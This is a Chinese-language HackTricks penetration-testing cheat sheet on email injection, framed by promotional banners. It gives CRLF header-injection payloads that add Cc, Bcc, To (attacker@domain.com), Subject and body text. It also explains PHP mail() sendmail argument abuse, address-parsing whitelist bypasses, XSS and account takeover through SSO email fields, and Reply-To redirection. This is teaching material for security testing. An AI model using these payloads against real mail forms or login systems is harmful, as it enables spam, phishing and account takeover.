8.6 KiB
电子邮件注入
使用Trickest轻松构建并由全球最先进的社区工具提供支持的自动化工作流程。
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)!
支持HackTricks的其他方式:
- 如果您想看到您的公司在HackTricks中做广告或下载PDF格式的HackTricks,请查看订阅计划!
- 获取官方PEASS & HackTricks周边产品
- 发现PEASS家族,我们的独家NFTs收藏品
- 加入 💬 Discord群 或 电报群 或在Twitter上关注我们 🐦 @carlospolopm。
- 通过向HackTricks和HackTricks Cloud github仓库提交PR来分享您的黑客技巧。
在发送的电子邮件中注入
在发送方参数后注入抄送和密送
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
注入参数
From:sender@domain.com%0ATo:attacker@domain.com
注入主题参数
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
更改消息正文
注入两行换行符,然后编写您的消息以更改消息正文。
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
PHP mail() 函数利用
# The function has the following definition:
php --rf mail
Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}
第5个参数($additional_parameters)
这一部分将基于假设攻击者控制该参数时如何滥用。
此参数将被添加到PHP用于调用二进制sendmail的命令行中。但是,它将通过函数escapeshellcmd($additional_parameters)
进行消毒。
攻击者可以在这种情况下注入提取sendmail的参数。
/usr/sbin/sendmail实现的差异
sendmail接口由系统上安装的MTA邮件软件(Sendmail、Postfix、Exim等)提供。尽管出于兼容性原因,基本功能(如-t -i -f参数)保持相同,但其他功能和参数根据安装的MTA而有很大不同。
以下是sendmail命令/接口不同手册页的一些示例:
- Sendmail MTA: http://www.sendmail.org/~ca/email/man/sendmail.html
- Postfix MTA: http://www.postfix.org/mailq.1.html
- Exim MTA: https://linux.die.net/man/8/eximReferences
根据sendmail二进制文件的来源,已发现不同的选项可用于滥用它们并泄露文件甚至执行任意命令。查看详细信息:https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html
在电子邮件名称中注入
电子邮件中被忽略的部分
符号:+、- 和 {} 在极少数情况下可用于标记,并被大多数电子邮件服务器忽略
括号中的注释()在开头或结尾也将被忽略
- 例如 john.doe(intigriti)@example.com → john.doe@example.com
白名单绕过
引号
IP地址
您还可以在方括号之间使用IP地址作为域名:
- john.doe@[127.0.0.1]
- john.doe@[IPv6:2001:db8::1]
其他漏洞
第三方SSO
XSS
一些服务如github或salesforce允许您创建带有XSS负载的电子邮件地址。如果您可以使用这些提供商登录其他服务,并且这些服务未正确消毒电子邮件,您可能会引发XSS。
账户接管
如果SSO服务允许您创建帐户而无需验证提供的电子邮件地址(如salesforce),然后您可以使用该帐户登录信任salesforce的不同服务,您可以访问任何帐户。
请注意,salesforce指示给定的电子邮件是否已验证,因此应用程序应考虑此信息。
回复地址
您可以发送一封电子邮件,使用_发件人:company.com和回复地址:attacker.com_,如果由于电子邮件是从内部地址发送的而发送了自动回复,则攻击者可能能够接收该响应。
硬退信率
某些服务,如AWS,实施了一个称为硬退信率的阈值,通常设置为10%。这是一个关键指标,特别是对于电子邮件传递服务。当超过此比率时,例如AWS的电子邮件服务可能会被暂停或阻止。
硬退信指的是因为收件人地址无效或不存在而被退回给发件人的电子邮件。这可能是由于各种原因,例如将电子邮件发送到不存在的地址、不存在的域或收件人服务器拒绝接受电子邮件。
在AWS的情况下,如果您发送了1000封电子邮件,其中有100封由于原因如地址或域无效而导致硬退信,这意味着10%的硬退信率。达到或超过此比率可能会触发AWS SES(简单电子邮件服务)阻止或暂停您的电子邮件发送功能。
保持低硬退信率对于确保不间断的电子邮件服务和维护发件人声誉至关重要。监控和管理邮件列表中电子邮件地址的质量可以极大地帮助实现这一目标。
有关更详细信息,可以参考AWS关于处理退信和投诉的官方文档AWS SES Bounce Handling。
参考资料
- https://resources.infosecinstitute.com/email-injection/
- https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html
- https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view
- https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)!
支持HackTricks的其他方式:
- 如果您想在HackTricks中看到您的公司广告或下载PDF版HackTricks,请查看订阅计划!
- 获取官方PEASS & HackTricks周边产品
- 发现PEASS家族,我们的独家NFTs收藏
- 加入 💬 Discord群 或 电报群 或在Twitter 🐦 @carlospolopm上关注我们。
- 通过向HackTricks和HackTricks Cloud github仓库提交PR来分享您的黑客技巧。
使用Trickest可以轻松构建和自动化工作流程,使用全球最先进的社区工具。
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}